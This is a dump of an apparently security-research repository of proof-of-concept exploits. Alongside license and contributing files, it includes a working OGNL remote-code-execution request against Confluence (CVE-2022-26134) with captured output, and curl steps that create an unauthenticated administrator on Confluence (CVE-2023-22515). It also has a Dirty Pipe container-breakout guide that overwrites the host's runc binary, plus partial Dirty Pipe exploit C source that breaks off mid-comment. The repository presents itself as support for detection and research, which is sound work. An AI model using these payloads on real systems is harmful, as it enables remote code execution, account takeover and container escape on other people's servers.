├── CONTRIBUTING.md ├── LICENSE ├── LICENSE-3rdparty.csv ├── NOTICE ├── README.md ├── malware-samples └── pypi │ └── README.md ├── proof-of-concept-exploits ├── .keep ├── confluence-cve-2022-26134 │ ├── README.md │ └── docker-compose.yml ├── confluence-cve-2023-22515 │ ├── README.md │ ├── docker-compose.yml │ └── screenshot.png ├── dirtypipe-container-breakout │ ├── .gitignore │ ├── README.md │ ├── Vagrantfile │ ├── demo.gif │ ├── image │ │ ├── Dockerfile │ │ ├── exploit.c │ │ └── wait-for-runc-and-overwrite.sh │ └── pod.yaml ├── jwt-null-signature-vulnerable-app │ ├── .gitignore │ ├── Dockerfile │ ├── LICENSE │ ├── README.md │ ├── build.gradle │ ├── gradle │ │ └── wrapper │ │ │ ├── gradle-wrapper.jar │ │ │ └── gradle-wrapper.properties │ ├── gradlew │ ├── gradlew.bat │ ├── settings.gradle │ └── src │ │ └── main │ │ ├── java │ │ └── com │ │ │ └── datadog │ │ │ └── sample │ │ │ └── jwtnullsignature │ │ │ ├── AuthorizationService.java │ │ │ ├── JwtNullSignatureApplication.java │ │ │ ├── MainController.java │ │ │ └── UnauthorizedException.java │ │ └── resources │ │ └── application.properties ├── nextjs-cve-2025-29927 │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── app │ │ ├── favicon.ico │ │ ├── fonts │ │ │ ├── GeistMonoVF.woff │ │ │ └── GeistVF.woff │ │ ├── globals.css │ │ ├── layout.js │ │ ├── page.js │ │ ├── page.module.css │ │ └── private │ │ │ └── page.js │ ├── jsconfig.json │ ├── middleware.js │ ├── next.config.mjs │ ├── package-lock.json │ └── package.json ├── openssl-punycode-vulnerability │ ├── README.md │ ├── malicious_client │ │ ├── README.md │ │ ├── client │ │ │ ├── client.gdb │ │ │ ├── configs │ │ │ │ ├── ca.cnf │ │ │ │ ├── client.cnf │ │ │ │ └── client_ext.cnf │ │ │ ├── gdb_client.sh │ │ │ ├── gen.sh │ │ │ └── run_client.sh │ │ ├── run.sh │ │ └── server │ │ │ ├── configs │ │ │ ├── ca.cnf │ │ │ ├── server.cnf │ │ │ └── server_ext.cnf │ │ │ ├── gdb_vuln_server.sh │ │ │ ├── gen.sh │ │ │ ├── run_vuln_server.sh │ │ │ └── server.gdb │ ├── malicious_server │ │ ├── README.md │ │ ├── client │ │ │ ├── client.gdb │ │ │ ├── gdb_client.sh │ │ │ └── run_client.sh │ │ ├── run.sh │ │ └── server │ │ │ ├── configs │ │ │ ├── ca.cnf │ │ │ ├── server.cnf │ │ │ └── server_ext.cnf │ │ │ ├── gen.sh │ │ │ └── run_server.sh │ ├── openssl-vagrant-poc.gif │ ├── vagrant │ │ ├── .vagrant │ │ │ └── rgloader │ │ │ │ └── loader.rb │ │ ├── README.md │ │ ├── Vagrantfile │ │ ├── WindowsCrash │ │ │ ├── .DS_Store │ │ │ ├── ca.crt │ │ │ ├── ca.key.pem │ │ │ ├── crash.bat │ │ │ ├── libcrypto-3-x64.dll │ │ │ ├── libssl-3-x64.dll │ │ │ ├── openssl.exe │ │ │ ├── test.crt │ │ │ └── test.key.pem │ │ └── install.ps1 │ └── vulnerable_nodejs_server │ │ ├── README.md │ │ ├── client │ │ ├── Dockerfile │ │ ├── configs │ │ │ ├── ca.cnf │ │ │ ├── client.cnf │ │ │ └── client_ext.cnf │ │ └── gen.sh │ │ ├── poc.yml │ │ └── server │ │ ├── Dockerfile │ │ ├── configs │ │ ├── ca.cnf │ │ ├── server.cnf │ │ └── server_ext.cnf │ │ ├── gen.sh │ │ └── server.js ├── overlayfs-cve-2023-0386 │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── Vagrantfile │ ├── poc.c │ ├── provision.sh │ └── screenshot.png └── spring4shell │ ├── Dockerfile │ ├── README.md │ ├── app │ ├── pom.xml │ └── src │ │ └── main │ │ └── java │ │ ├── App.java │ │ └── User.java │ ├── exploit-poc.py │ ├── exploit.png │ └── screenshot.png └── validation-scripts └── cve-2025-1974-ingress-nightmare ├── README.md └── check.py /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing 2 | 3 | This repository is maintained by Datadog Security Labs. Primary contributions will only be made internally but we do accept pull requests for enhancements, documentation fixes, etc. 4 | 5 | ## Datadog Contributions of New Code 6 | 7 | 1. Add your code to the `proof-of-concept-exploits` directory 8 | 2. Update the listing of exploits in the README.md 9 | 3. Add any 3rd party licenses to the LICENSE-3rdparty.csv file 10 | 11 | > All proof of concepts added should include a README with instructions on how to demonstrate the exploit or demo script. A Makefile is reccomended for ease of use and highly encouraged. Example: `make run-exploit` 12 | 13 | ## Licensing 14 | 15 | Unless you explicitly state otherwise, any contribution intentionally submitted for inclusion in the work by you, as 16 | defined in the Apache-2.0 license, shall be dual licensed as described in the [README](README.md#license), without any 17 | additional terms or conditions. 18 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | Apache License 3 | Version 2.0, January 2004 4 | http://www.apache.org/licenses/ 5 | 6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 7 | 8 | 1. Definitions. 9 | 10 | "License" shall mean the terms and conditions for use, reproduction, 11 | and distribution as defined by Sections 1 through 9 of this document. 12 | 13 | "Licensor" shall mean the copyright owner or entity authorized by 14 | the copyright owner that is granting the License. 15 | 16 | "Legal Entity" shall mean the union of the acting entity and all 17 | other entities that control, are controlled by, or are under common 18 | control with that entity. For the purposes of this definition, 19 | "control" means (i) the power, direct or indirect, to cause the 20 | direction or management of such entity, whether by contract or 21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 22 | outstanding shares, or (iii) beneficial ownership of such entity. 23 | 24 | "You" (or "Your") shall mean an individual or Legal Entity 25 | exercising permissions granted by this License. 26 | 27 | "Source" form shall mean the preferred form for making modifications, 28 | including but not limited to software source code, documentation 29 | source, and configuration files. 30 | 31 | "Object" form shall mean any form resulting from mechanical 32 | transformation or translation of a Source form, including but 33 | not limited to compiled object code, generated documentation, 34 | and conversions to other media types. 35 | 36 | "Work" shall mean the work of authorship, whether in Source or 37 | Object form, made available under the License, as indicated by a 38 | copyright notice that is included in or attached to the work 39 | (an example is provided in the Appendix below). 40 | 41 | "Derivative Works" shall mean any work, whether in Source or Object 42 | form, that is based on (or derived from) the Work and for which the 43 | editorial revisions, annotations, elaborations, or other modifications 44 | represent, as a whole, an original work of authorship. For the purposes 45 | of this License, Derivative Works shall not include works that remain 46 | separable from, or merely link (or bind by name) to the interfaces of, 47 | the Work and Derivative Works thereof. 48 | 49 | "Contribution" shall mean any work of authorship, including 50 | the original version of the Work and any modifications or additions 51 | to that Work or Derivative Works thereof, that is intentionally 52 | submitted to Licensor for inclusion in the Work by the copyright owner 53 | or by an individual or Legal Entity authorized to submit on behalf of 54 | the copyright owner. For the purposes of this definition, "submitted" 55 | means any form of electronic, verbal, or written communication sent 56 | to the Licensor or its representatives, including but not limited to 57 | communication on electronic mailing lists, source code control systems, 58 | and issue tracking systems that are managed by, or on behalf of, the 59 | Licensor for the purpose of discussing and improving the Work, but 60 | excluding communication that is conspicuously marked or otherwise 61 | designated in writing by the copyright owner as "Not a Contribution." 62 | 63 | "Contributor" shall mean Licensor and any individual or Legal Entity 64 | on behalf of whom a Contribution has been received by Licensor and 65 | subsequently incorporated within the Work. 66 | 67 | 2. Grant of Copyright License. Subject to the terms and conditions of 68 | this License, each Contributor hereby grants to You a perpetual, 69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 70 | copyright license to reproduce, prepare Derivative Works of, 71 | publicly display, publicly perform, sublicense, and distribute the 72 | Work and such Derivative Works in Source or Object form. 73 | 74 | 3. Grant of Patent License. Subject to the terms and conditions of 75 | this License, each Contributor hereby grants to You a perpetual, 76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 77 | (except as stated in this section) patent license to make, have made, 78 | use, offer to sell, sell, import, and otherwise transfer the Work, 79 | where such license applies only to those patent claims licensable 80 | by such Contributor that are necessarily infringed by their 81 | Contribution(s) alone or by combination of their Contribution(s) 82 | with the Work to which such Contribution(s) was submitted. If You 83 | institute patent litigation against any entity (including a 84 | cross-claim or counterclaim in a lawsuit) alleging that the Work 85 | or a Contribution incorporated within the Work constitutes direct 86 | or contributory patent infringement, then any patent licenses 87 | granted to You under this License for that Work shall terminate 88 | as of the date such litigation is filed. 89 | 90 | 4. Redistribution. You may reproduce and distribute copies of the 91 | Work or Derivative Works thereof in any medium, with or without 92 | modifications, and in Source or Object form, provided that You 93 | meet the following conditions: 94 | 95 | (a) You must give any other recipients of the Work or 96 | Derivative Works a copy of this License; and 97 | 98 | (b) You must cause any modified files to carry prominent notices 99 | stating that You changed the files; and 100 | 101 | (c) You must retain, in the Source form of any Derivative Works 102 | that You distribute, all copyright, patent, trademark, and 103 | attribution notices from the Source form of the Work, 104 | excluding those notices that do not pertain to any part of 105 | the Derivative Works; and 106 | 107 | (d) If the Work includes a "NOTICE" text file as part of its 108 | distribution, then any Derivative Works that You distribute must 109 | include a readable copy of the attribution notices contained 110 | within such NOTICE file, excluding those notices that do not 111 | pertain to any part of the Derivative Works, in at least one 112 | of the following places: within a NOTICE text file distributed 113 | as part of the Derivative Works; within the Source form or 114 | documentation, if provided along with the Derivative Works; or, 115 | within a display generated by the Derivative Works, if and 116 | wherever such third-party notices normally appear. The contents 117 | of the NOTICE file are for informational purposes only and 118 | do not modify the License. You may add Your own attribution 119 | notices within Derivative Works that You distribute, alongside 120 | or as an addendum to the NOTICE text from the Work, provided 121 | that such additional attribution notices cannot be construed 122 | as modifying the License. 123 | 124 | You may add Your own copyright statement to Your modifications and 125 | may provide additional or different license terms and conditions 126 | for use, reproduction, or distribution of Your modifications, or 127 | for any such Derivative Works as a whole, provided Your use, 128 | reproduction, and distribution of the Work otherwise complies with 129 | the conditions stated in this License. 130 | 131 | 5. Submission of Contributions. Unless You explicitly state otherwise, 132 | any Contribution intentionally submitted for inclusion in the Work 133 | by You to the Licensor shall be under the terms and conditions of 134 | this License, without any additional terms or conditions. 135 | Notwithstanding the above, nothing herein shall supersede or modify 136 | the terms of any separate license agreement you may have executed 137 | with Licensor regarding such Contributions. 138 | 139 | 6. Trademarks. This License does not grant permission to use the trade 140 | names, trademarks, service marks, or product names of the Licensor, 141 | except as required for reasonable and customary use in describing the 142 | origin of the Work and reproducing the content of the NOTICE file. 143 | 144 | 7. Disclaimer of Warranty. Unless required by applicable law or 145 | agreed to in writing, Licensor provides the Work (and each 146 | Contributor provides its Contributions) on an "AS IS" BASIS, 147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 148 | implied, including, without limitation, any warranties or conditions 149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 150 | PARTICULAR PURPOSE. You are solely responsible for determining the 151 | appropriateness of using or redistributing the Work and assume any 152 | risks associated with Your exercise of permissions under this License. 153 | 154 | 8. Limitation of Liability. In no event and under no legal theory, 155 | whether in tort (including negligence), contract, or otherwise, 156 | unless required by applicable law (such as deliberate and grossly 157 | negligent acts) or agreed to in writing, shall any Contributor be 158 | liable to You for damages, including any direct, indirect, special, 159 | incidental, or consequential damages of any character arising as a 160 | result of this License or out of the use or inability to use the 161 | Work (including but not limited to damages for loss of goodwill, 162 | work stoppage, computer failure or malfunction, or any and all 163 | other commercial damages or losses), even if such Contributor 164 | has been advised of the possibility of such damages. 165 | 166 | 9. Accepting Warranty or Additional Liability. While redistributing 167 | the Work or Derivative Works thereof, You may choose to offer, 168 | and charge a fee for, acceptance of support, warranty, indemnity, 169 | or other liability obligations and/or rights consistent with this 170 | License. However, in accepting such obligations, You may act only 171 | on Your own behalf and on Your sole responsibility, not on behalf 172 | of any other Contributor, and only if You agree to indemnify, 173 | defend, and hold each Contributor harmless for any liability 174 | incurred by, or claims asserted against, such Contributor by reason 175 | of your accepting any such warranty or additional liability. 176 | 177 | END OF TERMS AND CONDITIONS 178 | 179 | APPENDIX: How to apply the Apache License to your work. 180 | 181 | To apply the Apache License to your work, attach the following 182 | boilerplate notice, with the fields enclosed by brackets "[]" 183 | replaced with your own identifying information. (Don't include 184 | the brackets!) The text should be enclosed in the appropriate 185 | comment syntax for the file format. We also recommend that a 186 | file or class name and description of purpose be included on the 187 | same "printed page" as the copyright notice for easier 188 | identification within third-party archives. 189 | 190 | Copyright [yyyy] [name of copyright owner] 191 | 192 | Licensed under the Apache License, Version 2.0 (the "License"); 193 | you may not use this file except in compliance with the License. 194 | You may obtain a copy of the License at 195 | 196 | http://www.apache.org/licenses/LICENSE-2.0 197 | 198 | Unless required by applicable law or agreed to in writing, software 199 | distributed under the License is distributed on an "AS IS" BASIS, 200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 201 | See the License for the specific language governing permissions and 202 | limitations under the License. 203 | -------------------------------------------------------------------------------- /LICENSE-3rdparty.csv: -------------------------------------------------------------------------------- 1 | Component,Origin,License,Copyright -------------------------------------------------------------------------------- /NOTICE: -------------------------------------------------------------------------------- 1 | Datadog Security Labs Proof of Concepts 2 | Copyright 2022-Present Datadog, Inc. 3 | 4 | This product includes software developed at Datadog ( -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Datadog Security Labs Research and Proof of Concept Code 2 | === 3 | 4 | This repository contains information, exploits, malware samples, and scripts from Datadog Security Labs. 5 | 6 | 7 | ## Goal 8 | 9 | This repository aims at providing proof of concept exploits, malware samples and technical demos to help the community respond to threats. Code from this repository might be used to: 10 | 11 | * Improve Detections 12 | * Continue additional research on Tactics, Techniques and Procedures (TTPs) 13 | * Discover additional exploits 14 | 15 | ## Proofs of Concept 16 | 17 | - [Dirty Pipe Container Breakout](./proof-of-concept-exploits/dirtypipe-container-breakout/) 18 | - [Exploitation and Sample Vulnerable Application of the JWT Null Signature Vulnerability (CVE-2022-21449)](./proof-of-concept-exploits/jwt-null-signature-vulnerable-app) 19 | - [Spring Core RCE aka Spring4shell (CVE-2022-22965)](./proof-of-concept-exploits/spring4shell) 20 | - [Confluence CVE-2022-26134 OGNL Vulnerability](./proof-of-concept-exploits/confluence-cve-2022-26134) 21 | - [OpenSSL punycode Vulnerability (CVE-2022-3602)](./proof-of-concept-exploits/openssl-punycode-vulnerability) 22 | - [OverlayFS privilege escalation vulnerability CVE-2023-0386](./proof-of-concept-exploits/overlayfs-cve-2023-0386/) 23 | - [Confluence CVE-2023-22515 vulnerability](./proof-of-concept-exploits/confluence-cve-2023-22515/) 24 | 25 | ## Stay Tuned! 26 | 27 | We'll create a new GitHub release for every new proof of concept in this repository. To make sure you don't miss it, watch new releases! 28 | 29 | ![image](https://user-images.githubusercontent.com/136675/165481082-5032369b-50dc-4d4a-b6de-8a8a2527fb04.png) 30 | -------------------------------------------------------------------------------- /malware-samples/pypi/README.md: -------------------------------------------------------------------------------- 1 | # Moved to https://github.com/datadog/malicious-software-packages-dataset 2 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/.keep -------------------------------------------------------------------------------- /proof-of-concept-exploits/confluence-cve-2022-26134/README.md: -------------------------------------------------------------------------------- 1 | # Confluence CVE-2022-26134 OGNL vulnerability 2 | 3 | This vulnerability affects Confluence Server and Confluence Data Center. It allows an attacker to send a specially crafted HTTP request to abuse OGNL within Confluence, leading to remote code execution. 4 | 5 | In order for this vulnerability to be exploitable, the following conditions must be met: 6 | * Use versions of Confluence lower than 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1 7 | * Confluence is configured (can't use a server that hasn't been installed and not connected to a DB) 8 | 9 | 10 | ## Running the application 11 | 12 | Run it: 13 | 14 | ``` 15 | docker-compose up 16 | ``` 17 | 18 | Install confluence 19 | 20 | 1. Navigate to `localhost:8090` 21 | 2. Get a trial license (this won't work without one) 22 | 3. It'll take a while to configure, make sure you have 3-4gb of RAM 23 | 4. Use a test site/template, and use confluence to manage users. Fill in default for admin 24 | 5. Once you get past the admin creation step, you can run the exploit 25 | 26 | ## Exploitation steps 27 | 28 | ``` 29 | curl -v http://localhost:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ 30 | ``` 31 | 32 | Output: 33 | 34 | ``` 35 | └> curl -v http://localhost:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ 36 | * Trying ::1... 37 | * TCP_NODELAY set 38 | * Connected to localhost (::1) port 8090 (#0) 39 | > GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/pwned%22%29%7D/ HTTP/1.1 40 | > Host: localhost:8090 41 | > User-Agent: curl/7.64.1 42 | > Accept: */* 43 | > 44 | < HTTP/1.1 302 45 | < Cache-Control: no-store 46 | < Expires: Thu, 01 Jan 1970 00:00:00 GMT 47 | < X-Confluence-Request-Time: 1654294225669 48 | < Set-Cookie: JSESSIONID=A12C784ACFF928E9155587F78E9EC0C0; Path=/; HttpOnly 49 | < X-XSS-Protection: 1; mode=block 50 | < X-Content-Type-Options: nosniff 51 | < X-Frame-Options: SAMEORIGIN 52 | < Content-Security-Policy: frame-ancestors 'self' 53 | < Location: /login.action?os_destination=%2F%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch+%2Ftmp%2Fpwned%22%29%7D%2Findex.action&permissionViolation=true 54 | < Content-Type: text/html;charset=UTF-8 55 | < Content-Length: 0 56 | < Date: Fri, 03 Jun 2022 22:10:25 GMT 57 | < 58 | * Connection #0 to host localhost left intact 59 | * Closing connection 0 60 | ``` 61 | 62 | Exec into the container 63 | 64 | ``` 65 | └> docker exec -it vulnerable-confluence bash 66 | 67 | root@b2db3bfbe364:/var/atlassian/application-data/confluence# ls -lah /tmp 68 | total 12K 69 | drwxrwxrwt 1 root root 4.0K Jun 3 22:12 . 70 | drwxr-xr-x 1 root root 4.0K Jun 3 19:56 .. 71 | drwxr-xr-x 2 confluence confluence 4.0K Jun 3 22:07 hsperfdata_confluence 72 | -rw-r----- 1 confluence confluence 0 Jun 3 22:10 pwned 73 | ``` 74 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/confluence-cve-2022-26134/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | services: 3 | conf: 4 | image: atlassian/confluence-server@sha256:83a19d7c474b550b4ab4ef383e93e16c02457d680a982debcaf32b3b7db5bf52 5 | container_name: vulnerable-confluence 6 | depends_on: 7 | - db 8 | ports: 9 | - 8090:8090 10 | - 8091:8091 11 | environment: 12 | ATL_JDBC_URL: jdbc:postgresql://db:5432/conf 13 | ATL_JDBC_USER: postgres 14 | ATL_JDBC_PASSWORD: koko 15 | ATL_DB_TYPE: postgresql 16 | ATL_DB_DRIVER: org.postgresql.Driver 17 | ATL_DB_SCHEMA_NAME: conf 18 | # port = 5432, username = postgres 19 | db: 20 | image: postgres 21 | restart: always 22 | environment: 23 | POSTGRES_PASSWORD: koko 24 | POSTGRES_DB: conf 25 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/confluence-cve-2023-22515/README.md: -------------------------------------------------------------------------------- 1 | # Confluence CVE-2023-22515 OGNL vulnerability 2 | 3 | This vulnerability affects Confluence Server and Confluence Data Center. It allows an unauthenticated attacker to create an administrator Confluence user. 4 | 5 | Credits for the proof-of-concept fully go to Rapid7: https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis 6 | 7 | 8 | ## Running the application 9 | 10 | Run it: 11 | 12 | ``` 13 | docker-compose up 14 | ``` 15 | 16 | It takes a few minutes to start up. When you see the line `Server startup in [xx] milliseconds` in the logs: 17 | 18 | 1. Browse to http://localhost:8090 19 | 2. Get a trial license (this won't work without one) 20 | 3. It'll take a while to configure, make sure you have 3-4 GB of RAM 21 | 4. Start with an "Empty Site" 22 | 5. Click on "Manager users and groups in Confluence" 23 | 6. Set a sample administrator username and password 24 | 25 | ## Exploitation steps 26 | 27 | Taken from https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis 28 | 29 | ``` 30 | curl -vk "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false" 31 | 32 | curl -vk -X POST -H "X-Atlassian-Token: no-check" --data-raw "username=malicious-user&fullName=malicious&email=malicious%40localhost&password=malicious&confirm=malicious&setup-next-button=Next" http://localhost:8090/setup/setupadministrator.action 33 | 34 | curl -vk -X POST -H "X-Atlassian-Token: no-check" http://localhost:8090/setup/finishsetup.action 35 | ``` 36 | 37 | After that, browse to the [list of users](http://localhost:8090/admin/users/showallusers.action?reset=true) and you'll notice that a new, malicious user has been created: 38 | 39 | ![](./screenshot.png) -------------------------------------------------------------------------------- /proof-of-concept-exploits/confluence-cve-2023-22515/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.9" 2 | services: 3 | conf: 4 | image: atlassian/confluence-server@sha256:048c6b8662e0d6a7a27a07357988fa0bf8ba79f13a7c82d8c05f5eca4d2de311 5 | container_name: vulnerable-confluence 6 | depends_on: 7 | - db 8 | ports: 9 | - 8090:8090 10 | - 8091:8091 11 | environment: 12 | ATL_JDBC_URL: jdbc:postgresql://db:5432/conf 13 | ATL_JDBC_USER: postgres 14 | ATL_JDBC_PASSWORD: koko 15 | ATL_DB_TYPE: postgresql 16 | ATL_DB_DRIVER: org.postgresql.Driver 17 | ATL_DB_SCHEMA_NAME: conf 18 | # port = 5432, username = postgres 19 | db: 20 | image: postgres 21 | restart: always 22 | environment: 23 | POSTGRES_PASSWORD: koko 24 | POSTGRES_DB: conf -------------------------------------------------------------------------------- /proof-of-concept-exploits/confluence-cve-2023-22515/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/confluence-cve-2023-22515/screenshot.png -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .vagrant 3 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/README.md: -------------------------------------------------------------------------------- 1 | # Dirty Pipe Container Escape 2 | 3 | This folder contains a proof of concept exploit leveraging the Dirty Pipe vulnerability (CVE-2022-0847) to break out from an underprivileged container. 4 | 5 | Tested on a Kernel 5.10.0-0 with runc 1.0.2 on Kubernetes 1.22.7, but should work on any vulnerable kernel. 6 | 7 | See also: [The Dirty Pipe vulnerability: Overview, detection, and remediation](https://www.datadoghq.com/blog/dirty-pipe-vulnerability-overview-and-remediation/). 8 | 9 | ## Demo 10 | 11 |

12 | 13 | Terminal recording 14 | 15 |

16 | 17 | 18 | ## Usage 19 | 20 | 1. Deploy the pod definition `pod.yaml` to a Kubernetes cluster. This simulates a pod having been compromised by an attacker. Note that the pod is underprivileged. 21 | 22 | ``` 23 | $ kubectl apply -f pod.yaml 24 | pod/compromised-pod created 25 | ``` 26 | 27 | 2. Execute `/bin/sh` in your compromised pod. This will trigger the exploit and overwrite the runc binary on the host, leading to a full host compromise. 28 | 29 | ``` 30 | $ kubectl exec -it compromised-pod -- sh 31 | ``` 32 | 33 | The payload used in the current exploit simply runs `id` and `hostname` and outputs the result to `/tmp/hacked`: 34 | 35 | ``` 36 | $ cat /tmp/hacked 37 | uid=0(root) gid=0(root) groups=0(root) 38 | pool-stbjbwsjv-cn15e 39 | ``` 40 | 41 | ## Notes 42 | 43 | This proof-of-concept requires the malicious script to run as root, in order to overwrite /bin/sh (or any binary that has a high chance of being executed through kubectl exec) with the necessary contents (`#!/proc/self/exe`). Note that we cannot use Dirty Pipe itself to overwrite a binary with this string, as Dirty Pipe doesn’t allow to overwrite the first byte of the target file. The first byte of a binary executable would remain 0x7f, the first magic byte of an ELF binary. 44 | 45 | Breaking out from a container using an underprivileged user is left as an exercise to the reader, who is highly encouraged to contribute back to this repository. :-) 46 | 47 | ## Credits 48 | 49 | - Dirty Pipe original PoC: Max Kellermann (https://dirtypipe.cm4all.com/) 50 | - Explotation of CVE-2019-5736 through overwrite of runc: Yuval Avrahami (https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) 51 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | # Environment variables: 5 | # 6 | # SKIP_BCC_BUILD: Set to skip the building bcc from source 7 | 8 | $ubuntu_deps = < { 17 | 'image' => 'ubuntu/impish64', 18 | 'scripts' => [ $ubuntu_deps, ], 19 | 'fix_console' => 0, 20 | } 21 | } 22 | 23 | boxes.each do | name, params | 24 | config.vm.define name do |box| 25 | box.vm.box = params['image'] 26 | box.vm.provider "virtualbox" do |v| 27 | v.memory = 4096 28 | v.cpus = 2 29 | if params['fix_console'] == 1 30 | v.customize ["modifyvm", :id, "--uart1", "0x3F8", "4"] 31 | v.customize ["modifyvm", :id, "--uartmode1", "file", "./#{name}_ttyS0.log"] 32 | end 33 | end 34 | (params['scripts'] || []).each do |script| 35 | box.vm.provision :shell, inline: script 36 | end 37 | config.vm.post_up_message = <<-HEREDOC 38 | ####### 39 | Ready to go! 40 | ####### 41 | HEREDOC 42 | end 43 | end 44 | end 45 | 46 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/demo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/DataDog/security-labs-pocs/b65ff27cec0a1593796d11a41094da4a005b8ba4/proof-of-concept-exploits/dirtypipe-container-breakout/demo.gif -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/image/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:21.10 2 | LABEL org.opencontainers.image.source https://github.com/DataDog/security-labs-pocs/ 3 | 4 | RUN apt update && apt install -y gcc libc6 libc-bin 5 | 6 | COPY wait-for-runc-and-overwrite.sh / 7 | COPY exploit.c / 8 | 9 | WORKDIR / 10 | RUN gcc exploit.c -o exploit 11 | 12 | CMD ["./wait-for-runc-and-overwrite.sh"] 13 | -------------------------------------------------------------------------------- /proof-of-concept-exploits/dirtypipe-container-breakout/image/exploit.c: -------------------------------------------------------------------------------- 1 | // 2 | // dirtypipez.c 3 | // 4 | // hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn 5 | // a root shell. (and attempts to restore the damaged binary as well) 6 | // 7 | // Wow, Dirty CoW reloaded! 8 | // 9 | // -- blasty // 2022-03-07 10 | 11 | /* SPDX-License-Identifier: GPL-2.0 */ 12 | /* 13 | * Copyright 2022 CM4all GmbH / IONOS SE 14 | * 15 | * author: Max Kellermann 16 | * 17 | * Proof-of-concept exploit for the Dirty Pipe 18 | * vulnerability (CVE-2022-0847) caused by an uninitialized 19 | * "pipe_buffer.flags" variable. It demonstrates how to overwrite any 20 | * file contents in the page cache, even if the file is not permitted 21 | * to be written, immutable or on a read-only mount. 22 | * 23 | * This exploit requires Linux 5.8 or later; the code path was made 24 | * reachable by commit f6dd975583bd ("pipe: merge 25 | * anon_pipe_buf*_ops"). The commit did not introduce the bug, it was 26 | * there before, it just provided an easy way to exploit it. 27 | * 28 | * There are two major limitations of this exploit: the offset cannot 29 | * be on a page boundary (it needs to write one byte before the offset 30 | * to add a reference to this page to the pipe), and the write cannot 31 | * cross a page boundary. 32 | * 33 | * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n' 34 | * 35 | * Further explanation: https://dirtypipe.cm4all.com/ 36 | */ 37 | 38 | #define _GNU_SOURCE 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #ifndef PAGE_SIZE 49 | #define PAGE_SIZE 4096 50 | #endif 51 | 52 | /** 53 | * Create a pipe where all "bufs" on the pipe_inode_info ring have the 54 | * PIPE_BUF_FLAG_CAN_MERGE flag set. 55 | */ 56 | static void prepare_pipe(int p[2]) 57 | { 58 | if (pipe(p)) abort(); 59 | 60 | const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); 61 | static char buffer[4096]; 62 | 63 | /* fill the pipe completely; each pipe_buffer will now have 64 | the PIPE_BUF_FLAG_CAN_MERGE flag */ 65 | for (unsigned r = pipe_size; r > 0;) { 66 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 67 | write(p[1], buffer, n); 68 | r -= n; 69 | } 70 | 71 | /* drain the pipe, freeing all pipe_buffer instances (but 72 | leaving the flags initialized) */ 73 | for (unsigned r = pipe_size; r > 0;) { 74 | unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; 75 | read(p[0], buffer, n); 76 | r -= n; 77 | } 78 | 79 | /* the pipe is now empty, and if somebody adds a new 80 | pipe_buffer without initializing its "flags", the buffer 81 | will be mergeable */ 82 | } 83 | int hax(char *filename, long offset, uint8_t *data, size_t len) { 84 | /* open the input file and validate the specified offset */ 85 | const int fd = open(filename, O_RDONLY); // yes, read-only! :-) 86 | if (fd < 0) { 87 | perror("open failed"); 88 | return -1; 89 | } 90 | 91 | struct stat st; 92 | if (fstat(fd, &st)) { 93 | perror("stat failed"); 94 | return -1; 95 | } 96 | 97 | /* create the pipe with all flags initialized with 98 | PIPE_BUF_FLAG_CAN_MERGE */ 99 | int p[2]; 100 | prepare_pipe(p); 101 | 102 | /* splice one byte from before the specified offset into the 103 | pipe; this will add a reference to the page cache, but 104 | since copy_page_to_iter_pipe() does not initialize the 105 | "flags", 